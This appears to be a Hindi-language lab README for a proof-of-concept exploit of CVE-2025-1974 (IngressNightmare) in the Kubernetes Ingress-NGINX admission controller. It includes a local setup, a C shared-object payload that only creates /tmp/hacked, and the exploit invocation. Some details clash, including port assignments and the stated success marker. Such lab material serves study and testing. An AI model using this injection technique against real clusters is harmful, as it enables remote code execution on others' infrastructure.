
CVE-2025-1974 (IngressNightmare) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो कुबेरनेट्स इंग्रेस-एनजीआईएनएक्स एडमिशन कंट्रोलर को लक्षित करता है ताकि दुर्भावनापूर्ण AdmissionReview अनुरोधों के माध्यम से रिमोट कोड निष्पादन प्राप्त किया जा सके।
Ingress-NGINX: Kubernetes के लिए एक इनग्रेस कंट्रोलर जो NGINX को रिवर्स प्रॉक्सी और लोड बैलेंसर के रूप में उपयोग करता है
"IngressNightmare" कमजोरी (CVE-2025-1974) Ingress-NGINX Admission Controller में एक गंभीर खामी से उत्पन्न होती है, जो आने वाले Ingress संसाधनों की वैधता की जांच करने वाला कुबर्नेट्स का मुख्य सुरक्षा तंत्र है।
यह कंट्रोलर बिना प्रमाणीकरण के नेटवर्क पर उजागर हो जाता है, जिससे हमलावर दुर्भावनापूर्ण AdmissionReview अनुरोधों में हेरफेर कर सकते हैं और Ingress संसाधनों में अनधिकृत कॉन्फ़िगरेशन सम्मिलित कर सकते हैं।
अन्य कमजोरियों (CVE-2025-24514, CVE-2024-1097 या CVE-2025-1098) के साथ मिलकर यह रिमोट कोड निष्पादन की ओर ले जा सकता है।
कुछ शोषण योग्य श्रृंखलाएँ इस प्रकार हैं:
CVE-2025-1974+CVE-2025-24514: auth-url एनोटेशन इंजेक्शन के माध्यम से RCE
CVE-2025-1974+CVE-2025-1097: auth-tls-match-cn एनोटेशन के माध्यम से RCE
CVE-2025-1974+CVE-2025-1098: इमेज UID के दुरुपयोग के माध्यम से RCE
कमजोरी का अनुकरण करने के लिए सरलता हेतु K3s-आधारित Kubernetes वातावरण का उपयोग किया गया है
docker compose up -d
कुबर्नेट्स API तैयार होने और Ingress-nginx कंट्रोलर शुरू होने तक प्रतीक्षा करें। पर्यावरण शुरू होने पर, Ingress-NGINX पोर्ट 30080 और 30443 (TLS) पर सुनता है, और Ingress-NGINX Admission Controller पोर्ट 30443 पर है।
.so पहले, कंटेनर के आर्किटेक्चर से मेल खाने वाली शेयर्ड ऑब्जेक्ट ( ) पेलोड को कंपाइल करना आवश्यक है।
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
AdmissionReview एक्सप्लॉइट एक निर्देश इंजेक्शन अनुरोध को जाली बनाकर काम करता है जो NGINX को दुर्भावनापूर्ण डायनेमिक शेयर्ड ऑब्जेक्ट लोड करने के लिए मजबूर करता है।
एक्सप्लॉइट सफल होने पर, ingress-nginx कंटेनर के अंदर ssl_engine फ़ाइल बनती देखी जा सकती है।
